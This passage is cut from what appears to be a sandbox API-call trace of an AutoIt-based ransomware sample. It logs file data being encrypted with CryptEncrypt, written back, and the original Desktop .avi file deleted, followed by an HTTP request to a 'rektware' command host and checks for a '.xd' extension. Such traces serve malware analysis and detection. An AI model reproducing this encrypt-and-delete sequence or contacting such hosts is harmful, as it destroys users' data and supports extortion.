lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.528] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.528] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.528] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.528] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.529] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.529] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.529] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.529] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.529] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.529] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.529] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.529] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.529] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.530] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.530] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621828, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.530] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.530] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x12f2c, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x12f30) returned 1 [0078.530] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.530] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.530] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.530] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.530] CharLowerBuffW (in: lpsz="byte[77617]", cchLength=0xb | out: lpsz="byte[77617]") returned 0xb [0078.530] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.532] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.532] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.532] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.532] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.532] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18198c8*, pdwDataLen=0x130e618*=0x12f2c, dwBufLen=0x12f30 | out: pbData=0x18198c8*, pdwDataLen=0x130e618*=0x12f30) returned 1 [0078.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.532] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.533] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.533] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.533] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.533] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.533] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.533] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.537] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.537] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.537] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.538] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x12f30, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x12f30, lpOverlapped=0x0) returned 1 [0078.539] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.539] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.540] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.540] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.540] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621108, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.540] CryptDestroyKey (hKey=0x164c630) returned 1 [0078.540] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.540] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.540] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.540] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.540] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.540] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.540] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.540] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.540] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.540] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.540] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.541] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.541] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.541] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.541] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.541] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.541] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.541] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.541] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.541] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.541] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.541] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.541] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.541] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.541] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.541] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.541] CryptReleaseContext (hProv=0x1631e58, dwFlags=0x0) returned 1 [0078.541] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.542] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.542] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.542] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.542] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.542] CloseHandle (hObject=0x3c8) returned 1 [0078.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.542] CloseHandle (hObject=0x3d8) returned 1 [0078.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.546] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.546] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", lpFilePart=0x0) returned 0x2f [0078.546] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wnyfl7xomalfg.avi")) returned 0x20 [0078.546] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c2b0 [0078.546] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WNYfl7xOMaLFG.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wnyfl7xomalfg.avi")) returned 1 [0078.563] FindNextFileW (in: hFindFile=0x164c2b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.563] FindClose (in: hFindFile=0x164c2b0 | out: hFindFile=0x164c2b0) returned 1 [0078.564] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.564] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.564] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.564] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.564] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0078.564] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0078.564] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.564] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.564] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.564] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.564] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.564] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0078.564] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.564] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.565] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.565] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.565] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.565] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.565] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.566] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.566] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.566] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.566] CloseHandle (hObject=0x0) returned 0 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\xt7veS-S81.avi", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.566] CompareStringW 